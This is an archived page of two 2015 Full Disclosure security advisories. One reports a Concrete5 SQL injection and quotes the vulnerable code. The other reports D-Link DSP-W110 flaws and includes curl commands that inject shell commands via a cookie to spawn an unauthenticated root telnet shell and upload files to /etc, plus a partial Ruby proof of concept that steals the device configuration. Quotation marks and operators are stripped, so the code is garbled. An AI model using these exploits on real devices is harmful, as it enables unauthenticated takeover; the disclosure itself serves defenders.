[FD] [KIS-2015-03] Concrete5 = 5.7.4 (Access.php) SQL Injection Vulnerability

2015-06-11 Thread Egidio Romano
---
Concrete5 = 5.7.4 (Access.php) SQL Injection Vulnerability
---


[-] Software Link:

https://www.concrete5.org/


[-] Affected Versions:

Version 5.7.3.1, 5.7.4, and probably other versions.


[-] Vulnerability Description:

The vulnerable code is located in /concrete/src/Permission/Access/Access.php:

168.protected function buildAssignmentFilterString($accessType, 
$filterEntities)
169.{
170.$peIDs = '';
171.$filters = array();
172.if (count($filterEntities)  0) {
173.foreach ($filterEntities as $ent) {
174.$filters[] = $ent-getAccessEntityID();
175.}
176.$peIDs .= 'and peID in (' . implode($filters, ',') . ')';
177.}
178.if ($accessType == 0) {
179.$accessType = '';
180.} else {
181.$accessType = ' and accessType = ' . $accessType;
182.}

The Access::buildAssignmentFilterString() method uses its $accessType parameter 
to construct a SQL query
without a proper validation at line 181. This can be exploited to inject and 
execute arbitrary SQL commands.
Successful exploitation of this vulnerability requires an account with 
privileges to edit page permissions.


[-] Solution:

Update to version 5.7.4.1 or later.


[-] Disclosure Timeline:

[05/05/2015] - Vulnerability details sent through HackerOne
[12/05/2015] - Vendor said a patch has been committed and will be available in 
the next version
[12/05/2015] - Version 5.7.4.1 released along with the patch for this 
vulnerability
[11/06/2015] - Vulnerability publicly disclosed on HackerOne
[11/06/2014] - CVE number requested
[11/06/2014] - Publication of this advisory


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org) has not 
assigned a name to this vulnerability yet.


[-] Credits:

Vulnerability discovered by Egidio Romano of Minded Security.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2015-03


[-] Other References:

https://hackerone.com/reports/59664

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives  RSS: http://seclists.org/fulldisclosure/


[FD] D-Link DSP-W110 - multiple vulnerabilities

2015-06-11 Thread Peter Adkins
 D-Link DSP-W110 - multiple vulnerabilities


Discovered by:

Peter Adkins peter.adk...@kernelpicnic.net


Access:

Local network; unauthenticated access.


Tracking and identifiers:

CVE - None allocated.


Platforms / Firmware confirmed affected:

D-Link DSP-W110 (Rev A) - v1.05b01


Notes:

* There appears to be a number of references to both 'miiiCasa' as well as
'fitivision' throughout the firmware, which may indicate that these
vulnerabilities could be present in other devices not listed in this
document.

* A copy of this document, as well as the proof of concept below and a
more detailed write-up has been made available via GitHub:

 * https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110


Arbitrary command execution / SQL Injection


Patches made to lighttpd by the vendor exposes the device to both SQL
injection, and more interestingly, arbitrary code execution. This is due to
the improper sanitization of data supplied by a client.

As the lighttpd service provides endpoints to be accessed without
authentication, it provides a vector for an attacker to execute arbitrary
commands on the device as the root user via HTTP call without authentication
credentials.

The root cause of this issue is that the contents of an HTTP Cookie, with
any name, is passed verbatim to a sprintf() call in order to form an SQL
query used to validate existing client sessions. By simply performing an
HTTP request against the device with a correctly formatted cookie set,
arbitrary SQL can be executed against the internal SQLite database.

Further to this issue, as this SQL query is passed to a popen() call in
order to execute the query, arbitrary commands are also able to be run on
the device as the root user.

This said, due to the length of the allocated buffer, the value of the
cookie cannot exceed 19 characters. However, as below, 19 characters is
exactly enough to pop a shell on the device.

  # Reboot the device.
  curl 192.168.1.3/ \
   --cookie terribleness='\`reboot\`

  # Spawn a root shell (telnet)
  curl 192.168.1.3/ \
   --cookie terribleness=\`telnetd -l/bin/sh\`


Arbitrary file upload


Patches made to lighttpd by the vendor exposes the device to arbitrary file
upload attacks.

Unfortunately, the only 'filtering' on this resources appears to be a
sprintf() call which statically prefixes a submitted 'dev' argument with
'/www'. However, if a HTTP request is performed without a 'dev' argument
at all, the sprintf() call is never reached, and a fully-qualified path can
be provided in the 'path' parameter - bypassing the upload path restriction.

As a result of the above, this resource can be used to upload files to
any location on the filesystem of devices running vulnerable firmware
versions without authentication.

  # Upload arbitrary files to the device.
  echo 'Some String'  test.txt
  curl \
   -X POST \
   -i \
   -F name=@test.txt \
   --http1.0 \
   '192.168.1.3/web_cgi.cgi?request=UploadFilepath=/etc/'


Diagnostic Information


Patches made to lighttpd by the vendor of this device allows an attacker to
query the device, without authentication, for the following information:

 * Current WLAN SSIDs
 * Current WLAN channels
 * LAN and WAN MAC addressing
 * Current firmware version information
 * Hardware version information

Although not sensitive information, it may allow for identification of
devices running vulnerable firmware versions.

  # Information query.
  curl \
   192.168.1.3/mplist.txt


Ruby PoC


# DSP-W110-Lighttpd PoC.

require 'pp'
require 'optparse'
require 'restclient'

# Set defaults and parse command line arguments
options = {}

options[:addr] = 192.168.0.60
options[:port] = 80

OptionParser.new do |option|

  option.on(--address [ADDRESS], Destination hostname or IP) do |a|
options[:addr] = a
  end

  option.on(--port [PORT], Destination TCP port) do |p|
options[:port] = p
  end

  option.parse!

end

# Define which actions we will be using.
actions = [
  {
:name = Get device information,
:call = txt_parser,
:path = mplist.txt,
  },
  {
:name = Snatch configuration,
:call = noop,
:path = HNAP1,
:cookies = { :cookie = `cp /etc/co* /www/` }
  },
  {
:name = Fetch configuration,
:call = conf_writer,
:path = config.sqlite,
  },
  {
:name = Enable telnet (root),
:call = noop,
:path = HNAP1,
:cookies = { :cookie = `telnetd -l/bin/sh` }
  }
]

def noop(val)
  return
end

def txt_parser(txt)
  txt.split(/\r?\n/).each do |line|
puts #{line}
  end
end

def conf_writer(txt)
  begin
f = File.open('./config.sqlite', 'wb')
  rescue = e
puts [!] Failed to open config.sqlite for writing #{e.message}
  end
  f.write(txt)
  f.close
  puts [*] Configuration fetched into 'config.sqlite'
end

# Iterate over all actions and attempt to execute.
url = http://#{options[:addr]}:#{options[:port]};

puts [!] Attempting to extract information from